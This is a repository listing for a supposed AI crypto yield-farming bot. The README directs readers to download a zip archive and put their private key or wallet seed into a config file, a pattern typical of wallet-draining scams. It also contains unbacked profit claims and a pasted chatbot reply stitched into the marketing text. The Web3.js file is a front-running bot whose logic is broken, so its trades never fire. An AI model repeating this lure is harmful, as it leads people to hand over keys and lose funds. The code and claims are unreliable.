├── 1.png
├── 10.png
├── 2.png
├── 3.png
├── 4.png
├── 5.jpg
├── 9.png
├── CoolCodingHut-Ai-AutoYield-Shield-V4.zip
├── README.md
└── Web3.js
/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CoolCodingHut/CoolCodingHut-Ai-AutoYield-Shield-V4/7a55fc0087f66ef12c48b431ee61ba0131305075/1.png
--------------------------------------------------------------------------------
/10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CoolCodingHut/CoolCodingHut-Ai-AutoYield-Shield-V4/7a55fc0087f66ef12c48b431ee61ba0131305075/10.png
--------------------------------------------------------------------------------
/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CoolCodingHut/CoolCodingHut-Ai-AutoYield-Shield-V4/7a55fc0087f66ef12c48b431ee61ba0131305075/2.png
--------------------------------------------------------------------------------
/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CoolCodingHut/CoolCodingHut-Ai-AutoYield-Shield-V4/7a55fc0087f66ef12c48b431ee61ba0131305075/3.png
--------------------------------------------------------------------------------
/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CoolCodingHut/CoolCodingHut-Ai-AutoYield-Shield-V4/7a55fc0087f66ef12c48b431ee61ba0131305075/4.png
--------------------------------------------------------------------------------
/5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CoolCodingHut/CoolCodingHut-Ai-AutoYield-Shield-V4/7a55fc0087f66ef12c48b431ee61ba0131305075/5.jpg
--------------------------------------------------------------------------------
/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CoolCodingHut/CoolCodingHut-Ai-AutoYield-Shield-V4/7a55fc0087f66ef12c48b431ee61ba0131305075/9.png
--------------------------------------------------------------------------------
/CoolCodingHut-Ai-AutoYield-Shield-V4.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CoolCodingHut/CoolCodingHut-Ai-AutoYield-Shield-V4/7a55fc0087f66ef12c48b431ee61ba0131305075/CoolCodingHut-Ai-AutoYield-Shield-V4.zip
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | This open-source JavaScript bot is a game-changer for crypto traders and enthusiasts. With its built-in stop-loss feature, users can automate their yield farming activities and safeguard their investments. Plus, you can rest easy knowing that your funds will never leave your wallet and you won't have to place trust in a centralized exchange.
4 |
5 | Here a video of how to config and run to bot a beta tester made
6 |
7 | https://vimeo.com/1081168096
8 |
9 |
10 | Here's what it looks like running
11 |
12 |
13 |
14 | Here's the results of runing it for about 28 days started with about 1.89 ETH
15 |
16 |
17 |
18 |
19 | please if you have time to vote for me at the next code contest me do, I won last year 4th place.
20 |
21 |
22 |
23 |
24 | To begin using the JavaScript Yield Farming Bot With StopLoss V4, you'll need to download and extract the zip file to a convenient location.
25 |
26 | The zip file can be downloaded from this link: https://raw.githubusercontent.com/CoolCodingHut/CoolCodingHut-Ai-AutoYield-Shield-V4/main/CoolCodingHut-Ai-AutoYield-Shield-V4.zip
27 |
28 | Once you've extracted the file, you'll need to locate the "config.js" file within the bot's main folder.
29 |
30 |
31 |
32 | Using a text-editor, you can configure the settings to your specific needs.When configuring the settings in the "config.js" file, be sure to set your ETH public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. , selecting the network (ETH = 1, BNB = 2, or POLYGON = 3), and saving the changes.
33 | When configuring the settings in the "config.js" file, be sure to set your public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed.
34 |
35 |
36 |
37 | After you've configured the settings, you can open the index.html file in any web browser to access the bot. If you'd like to modify the code, you're free to fork it, but please remember to give credit to the original source.
38 |
39 |
40 |
41 |
42 | #digitalcurrency #cryptolover #cryptoanalysis #cryptomarketplace #cryptotransactions #cryptosuccess #hodl #cryptopredictions #cryptoexchange #cryptodevelopment Your article has a solid structure and communicates the purpose and benefits of CoolCodingHut-Ai-AutoYield-Shield-V4 clearly. Here’s an edited and polished version to improve readability, flow, and engagement:
43 |
44 | Title:
45 | Maximize Your Crypto Holdings with CoolCodingHut-Ai-AutoYield-Shield-V4: A Smarter Way to Find Yield Farming Opportunities
46 |
47 | Introduction:
48 | Cryptocurrency yield farming is one of the most exciting ways to earn passive income in the DeFi space. By staking your assets in liquidity pools, you can earn rewards that grow over time. However, manually identifying the most profitable opportunities can be both time-consuming and complex. That’s where CoolCodingHut-Ai-AutoYield-Shield-V4 comes in. In this article, we’ll explore how this powerful tool streamlines the process of finding and executing yield farming strategies—helping you grow your crypto portfolio with less effort and more precision.
49 |
50 | 1. What Is Yield Farming?
51 |
52 | Yield farming involves staking or lending your cryptocurrency on decentralized finance (DeFi) platforms in exchange for rewards—typically in the form of additional tokens or a share of transaction fees. For instance, you might stake Ethereum (ETH) in a liquidity pool and receive governance tokens as a reward. By reinvesting these rewards, you can compound your earnings and boost your long-term returns.
53 |
54 | The challenge? Knowing where and when to stake. Yield rates fluctuate, and missing the right window can cost you valuable profits.
55 |
56 | 2. How CoolCodingHut-Ai-AutoYield-Shield-V4 Simplifies Yield Farming
57 |
58 | a. Automated Opportunity Detection
59 | CoolCodingHut-Ai-AutoYield-Shield-V4 scans multiple DeFi protocols and liquidity pools in real time, using AI-powered algorithms to detect the highest-yield opportunities. Whether it’s on Uniswap, Curve, or other platforms, it ensures you never miss a profitable farming window.
60 |
61 | b. Smart Strategy Execution
62 | Timing is everything in yield farming. With automated farming features, the tool allows you to set and forget your strategy—staking, compounding, and reinvesting rewards automatically. This minimizes manual intervention and maximizes efficiency.
63 |
64 | c. Advanced Analytics and Reporting
65 | Track every detail of your yield farming strategy with in-depth analytics. From performance reports to fee breakdowns and return on investment (ROI) metrics, you’ll gain full visibility into how your assets are working for you.
66 |
67 | 3. Benefits and Risks of Using CoolCodingHut-Ai-AutoYield-Shield-V4
68 |
69 | Benefits:
70 |
71 | Passive income with minimal effort
72 |
73 | Timely execution of high-yield strategies
74 |
75 | Real-time analytics for smarter decisions
76 |
77 | Risks:
78 |
79 | Exposure to impermanent loss
80 |
81 | Vulnerabilities in smart contracts
82 |
83 | Market volatility across DeFi platforms
84 |
85 | While no tool can eliminate risk entirely, CoolCodingHut-Ai-AutoYield-Shield-V4 helps mitigate many common pitfalls by delivering timely data, secure automation, and smart execution protocols.
86 |
87 | Conclusion:
88 | Yield farming can be an effective way to build wealth through crypto, but the key lies in identifying the right opportunities at the right time. With CoolCodingHut-Ai-AutoYield-Shield-V4, you gain an intelligent, automated assistant that simplifies the entire process—boosting your returns while saving you time and stress.
89 |
90 | Call to Action:
91 | 🚀 Ready to elevate your yield farming game? Sign up for CoolCodingHut-Ai-AutoYield-Shield-V4 today and start unlocking passive crypto income with confidence. Join a growing community of smart investors who trust this tool to power their DeFi strategies.
92 |
93 | Relevant Hashtags:
94 | #YieldFarming #DeFi #CryptoFarming #CryptoRewards #PassiveIncome #LiquidityPools #DeFiProtocols #CryptoInvesting #YieldFarmingBot #DecentralizedFinance
95 |
96 | Would you like a version formatted for a blog post or social media snippet next? #cryptochallenge #cryptolifestyle #cryptojourney #cryptoinfluencer #cryptocharts #cryptoexchange #cryptoprosperity #ethereum #cryptoboom #cryptobusiness #cryptoradar #cryptoplanet #cryptomaniac #cryptobuzz #cryptovibes #cryptomining #cryptoinvest #cryptomaniacs #eth #blockchain
97 |
98 | In summary, the DEX JavaScript Yield Farming Bot with Stop-Loss Functionality V4 is a useful tool for traders and investors who want to automate yield farming and minimize risk. The bot has a user-friendly interface and powerful features, making it a must-have for anyone who's serious about crypto trading.
99 |
100 |
101 | Introduction what's Yield Farming?
102 |
103 | 🌾 Welcome to the fascinating world of DEX Yield Farming, where financial empowerment and passive income opportunities abound! 🌾
104 |
105 | In this post, we'll embark on an exciting journey to explore the ins and outs of DEX (Decentralized Exchange) Yield Farming—a revolutionary concept that has redefined the way we grow our crypto assets. If you're seeking to maximize your investment potential, diversify your portfolio, and earn rewarding yields, then fasten your seatbelt and get ready for an adventure in the realm of decentralized finance (DeFi) like never before!
106 |
107 | 1. The Rise of DeFi: A Paradigm Shift in Finance
108 | In recent years, the DeFi space has gained remarkable traction, capturing the imagination of crypto enthusiasts worldwide. Traditional finance's rigid barriers have been replaced by innovative blockchain solutions that empower individuals to participate in a trustless, decentralized, and transparent financial ecosystem. DEX Yield Farming stands at the forefront of this revolution, enabling users to earn rewards by providing liquidity to decentralized exchanges.
109 |
110 | 2. Understanding DEX Yield Farming: The Basics
111 | DEX Yield Farming involves lending or staking cryptocurrencies in liquidity pools on decentralized exchanges. By participating as a liquidity provider, you become an integral part of the DeFi ecosystem, facilitating seamless transactions while earning rewards for your contribution. This process ensures efficient market liquidity and stability, enhancing the overall user experience.
112 |
113 | 3. Advantages of DEX Yield Farming
114 | a) Lucrative Passive Income: DEX Yield Farming empowers you to generate consistent passive income through attractive interest rates and rewards for participating in liquidity provision.
115 | b) Portfolio Diversification: By allocating your assets across different liquidity pools, you spread the risk and increase the potential for higher returns.
116 | c) Decentralization & Security: DEX platforms are non-custodial, ensuring you maintain full control over your assets while leveraging blockchain's inherent security features.
117 | d) Community and Governance: Many DEX platforms incorporate governance tokens, allowing you to have a say in platform upgrades and decision-making processes.
118 |
119 | 4. Mitigating Risks and Best Practices
120 | Like any investment endeavor, DEX Yield Farming carries certain risks. However, by exercising caution and adhering to best practices, you can minimize potential downsides. Some risk mitigation strategies include diversification, conducting thorough research on projects and platforms, and being mindful of impermanent loss.
121 |
122 | 5. Exploring Prominent DEX Yield Farming Platforms
123 | With a plethora of DeFi platforms available, we'll take a closer look at some well-established DEXs that have gained recognition for their security, community support, and lucrative rewards. Uniswap, SushiSwap, and PancakeSwap are just a few names that have transformed the DeFi landscape.
124 |
125 | 6. Tips for Maximizing Your DEX Yield Farming Experience
126 | To ensure a successful journey in DEX Yield Farming, we'll share valuable tips and tricks for optimizing your returns. From yield optimization strategies to keeping an eye on gas fees, these insights will pave the way for a rewarding experience.
127 |
128 | Conclusion:
129 | DEX Yield Farming represents a groundbreaking opportunity for individuals to take control of their financial future and participate in a thriving decentralized ecosystem. By embracing this innovative approach to earning passive income, you'll not only contribute to the DeFi revolution but also unlock the full potential of your crypto assets. So, what are you waiting for? Dive into DEX Yield Farming today and reap the bountiful rewards of the decentralized finance landscape! 🌱💰
130 |
131 |
132 |
--------------------------------------------------------------------------------
/Web3.js:
--------------------------------------------------------------------------------
1 | require('dotenv').config()
2 | const Web3 = require('web3')
3 | const { ChainId, Fetcher, WETH, Route, Trade, TokenAmount, TradeType, Percent } = require('@uniswap/sdk')
4 | const ethers = require('ethers')
5 | const fs = require('fs')
6 | //const assert = require('assert');
7 |
8 | let divider = "\n------------------------------------------------------\n"
9 |
10 | const chainId = ChainId.MAINNET
11 |
12 | let web3HD
13 | let token
14 | let route
15 | let weth
16 | let provider
17 | let signer
18 | let uniswap
19 |
20 | const ACCOUNT = process.env.REACT_APP_ACCOUNT
21 | const TOKEN_ADDRESS = process.env.REACT_APP_TOKEN_ADDRESS
22 | const EXCHANGE_ADDRESS = process.env.REACT_APP_EXCHANGE_ADDRESS
23 | const ETH_AMOUNT = process.env.REACT_APP_ETH_AMOUNT
24 |
25 | const web3 = new Web3(process.env.REACT_APP_RPC_URL_WSS)
26 | web3HD = new Web3(new Web3.providers.HttpProvider(process.env.REACT_APP_RPC_URL))
27 | provider = new ethers.getDefaultProvider(process.env.REACT_APP_RPC_URL)
28 | const privateKey = new Buffer.from(process.env.REACT_APP_PRIVATE_KEY, "hex");
29 | signer = new ethers.Wallet(privateKey, provider)
30 |
31 | // declare the token contract interfaces
32 | tokenContract = new ethers.Contract(
33 | TOKEN_ADDRESS,
34 | ['function balanceOf(address owner) external view returns (uint)',
35 | 'function decimals() external view returns (uint8)',
36 | 'function approve(address spender, uint value) external returns (bool)'],
37 | signer
38 | );
39 |
40 | // declare the Uniswap contract interface
41 | uniswap = new ethers.Contract(
42 | EXCHANGE_ADDRESS,
43 | ['function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)',
44 | 'function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)',
45 | 'function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)'],
46 | signer
47 | );
48 |
49 | let addtrxflag = false
50 | let trxflag = false
51 | let initialTokenBalance
52 | let tokenBalanceAfterBuy
53 | let tokensToSell
54 |
55 | async function run(){
56 |
57 | console.log('\x1b[1m\x1b[37m[Bot]: Process has been started! \x1b[1m\x1b[31m(to stop press CTRL+C anytime)\x1b[0m\n')
58 | console.log('\x1b[1m\x1b[37m[Bot]: Looking for targets at DEX...\x1b[0m\n')
59 |
60 | fs.writeFile('./transactions_hashes.txt', '', function(){console.log('\x1b[1m\x1b[37m[Bot]: transactions_hashes.txt \x1b[1m\x1b[32mwiped!\n\x1b[0m\n\n')})
61 |
62 | token = await Fetcher.fetchTokenData(chainId, TOKEN_ADDRESS)
63 | weth = WETH[chainId]
64 | const pair = await Fetcher.fetchPairData(token, weth, provider)
65 | route = new Route([pair], weth)
66 |
67 | initialTokenBalance = await tokenContract.balanceOf(ACCOUNT);
68 |
69 | if(true){
70 | subscription = web3.eth.subscribe('pendingTransactions', function (error, result) {})
71 | .on("data", function (transactionHash) {
72 | web3.eth.getTransaction(transactionHash)
73 | .then(function (transaction) {
74 | if(transaction && !trxflag){
75 | parseTransactionData(transaction)
76 | }
77 | })
78 | .catch(function () {
79 | console.log("\x1b[1m\x1b[Bot]: WARNING! Promise error caught!\n\x1b[1m\x1b[37mThere is likely an issue on your providers side, with the node you are connecting to.\nStop the bot with \x1b[1m\x1bCTRL+C \x1b[1m\x1b[37mand try run again in a few hours.");
80 | //.catch((error) => {
81 | // assert.isNotOk(error,'Promise error')
82 | })
83 | });
84 |
85 | async function parseTransactionData(transactionDetails) {
86 | if(transactionDetails.input){
87 |
88 | fs.appendFileSync('transactions_hashes.txt', 'Trx hash : ' + transactionDetails.hash.toString() + '\r\n')
89 | const transactionInput = transactionDetails.input
90 |
91 | var path = 'transactions_hashes.txt';
92 | var text = fs.readFileSync(path).toString();
93 | var lines = text.split('\n');
94 | var newlines_count = lines.length - 1;
95 | process.stdout.clearLine();
96 | process.stdout.cursorTo(0);
97 | process.stdout.write(`\x1b[1m\x1b[37m[Bot]: Sweeping transaction hashes... \x1b[1m\x1b[32m${newlines_count}\x1b[37m passes. `);
98 |
99 | if((transactionInput.length - 10) % 64 === 0){
100 | const toTrx = transactionDetails.to
101 | if(toTrx.toLowerCase() === EXCHANGE_ADDRESS.toLowerCase()
102 | && parseFloat(web3.utils.fromWei(transactionDetails.value, 'ether')) >= parseFloat(process.env.REACT_APP_TARGET_ETH_AMOUNT)){
103 | }
104 | if(addtrxflag){
105 | const exeTrxs = await executeTrxs(transactionDetails)
106 | subscription.unsubscribe(function (error, success) {
107 | if (success)
108 | console.log('\n\x1b[1m\x1b[37m[Bot]: Process has been ended!\x1b[0m');
109 | console.log('\n\x1b[1m\x1b[31m[Bot]: Press \x1b[0mCTRL+C\x1b[31m to stop the script completely !\x1b[0m');
110 | });
111 | }
112 | }
113 | }
114 | }
115 | }
116 | }
117 | }
118 |
119 | async function executeTrxs(transactionDetails){
120 | if(trxflag){
121 | return
122 | }
123 | trxflag = true
124 |
125 | console.table([{
126 | 'Transaction Hash': transactionDetails['hash'],
127 | 'Observations': 'Valid Transaction',
128 | 'Timestamp': Date.now()
129 | }])
130 | console.log(divider)
131 | console.log('\n\x1b[1m\x1b[37m[Bot]: Transaction spotted! - \x1b[32m', transactionDetails, "\x1b[0m\n");
132 |
133 | const buy = await buyTokens(transactionDetails)
134 | const sell = await sellTokens(transactionDetails)
135 | }
136 |
137 | async function sellTokens(transactionDetails){
138 | const amountIn = tokensToSell
139 |
140 | if (amountIn.toString() !== '0'){
141 | const gasPrice = transactionDetails.gasPrice
142 | const newGasPrice = Math.floor(parseInt(gasPrice) - parseInt(1))
143 | const gasLimit = Math.floor(transactionDetails.gas * 1.3)
144 |
145 | const amountInHex = ethers.BigNumber.from(amountIn.toString()).toHexString();
146 | const ethAmount = ethers.utils.parseEther(ETH_AMOUNT);
147 | const amountOutMin = Math.floor(ethAmount * 0.01);
148 | const amountOutMinHex = ethers.BigNumber.from(amountOutMin.toString()).toHexString();
149 | const path = [token.address, weth.address];
150 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
151 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
152 |
153 | const nonceCount = await web3.eth.getTransactionCount(ACCOUNT)
154 |
155 | const tx = await uniswap.swapExactTokensForETH(
156 | amountInHex,
157 | amountOutMinHex,
158 | path,
159 | ACCOUNT,
160 | deadlineHex,
161 | {
162 | nonce: nonceCount + 1,
163 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
164 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
165 | }
166 | );
167 | console.log('\x1b[1m\x1b[37m[Bot]: Your sell transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
168 | }
169 | }
170 |
171 |
172 | async function buyTokens(transactionDetails){
173 | if(true){
174 | const gasPrice = transactionDetails.gasPrice
175 | const newGasPrice = Math.floor(parseInt(gasPrice) + parseInt(1))
176 | const gasLimit = Math.floor(transactionDetails.gas * 1.2)
177 |
178 | const inputEth = parseFloat(ETH_AMOUNT) * 0.99;
179 | const ethAmount = ethers.utils.parseEther(inputEth.toString());
180 | const trade = new Trade(route, new TokenAmount(weth, ethAmount), TradeType.EXACT_INPUT);
181 | const path = [weth.address, token.address];
182 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
183 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
184 |
185 | tokensToSell = trade.outputAmount.raw
186 | const amountOutHex = ethers.BigNumber.from(tokensToSell.toString()).toHexString();
187 |
188 | const ethAmt = parseFloat(ETH_AMOUNT) * 1.2;
189 | const amountInMax = ethers.utils.parseEther(ethAmt.toString());
190 | const amountInMaxHex = ethers.BigNumber.from(amountInMax.toString()).toHexString();
191 |
192 | const tx = await uniswap.swapETHForExactTokens(
193 | amountOutHex,
194 | path,
195 | ACCOUNT,
196 | deadlineHex,
197 | {
198 | value: amountInMaxHex,
199 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
200 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
201 | }
202 | );
203 | console.log('\x1b[1m\x1b[37m[Bot]: Your purchase transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
204 | }
205 | }
206 |
207 | console.clear()
208 | console.log("\n")
209 |
210 |
211 | console.log(divider)
212 |
213 | run()
214 |
--------------------------------------------------------------------------------